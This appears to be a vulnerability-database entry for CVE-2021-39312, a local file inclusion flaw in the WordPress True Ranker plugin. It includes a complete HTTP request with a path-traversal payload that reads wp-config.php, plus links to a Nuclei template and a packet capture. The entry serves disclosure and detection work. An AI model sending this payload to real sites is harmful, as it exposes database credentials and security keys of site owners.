| Title | WordPress True Ranker <2.2.4 - Local File Inclusion |
|---|---|
| Author | DhiyaneshDK |
| Severity | High |
| Impact | Unauthenticated attackers can read sensitive configuration files like wp-config.php via local file inclusion, exposing database credentials and WordPress security keys. |
| Remediation | Fixed in version 2.2.4 |
| CVSS Score | 7.5 |
| EPSS Score | 0.91056 |
| CVE ID | CVE-2021-39312 |
| CWE ID | CWE-22 |
| Tags | cve cve2021 unauth lfr wpscan wp-plugin lfi wp wordpress trueranker vkev vuln |
WordPress True Ranker before version 2.2.4 allows sensitive configuration files such as wp-config.php, to be accessed via the src parameter found in the ~/admin/vendor/datatables/examples/resources/examples.php file via local file inclusion.
POST /wp-content/plugins/seo-local-rank/admin/vendor/datatables/examples/resources/examples.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko/ Firefox/14.0
Connection: close
Content-Length: 93
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP%20Cookie%20check
Accept-Encoding: gzip
src=%2Fscripts%2Fsimple.php%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwp-config.php
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-39312.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-39312.pcap
N/AN/A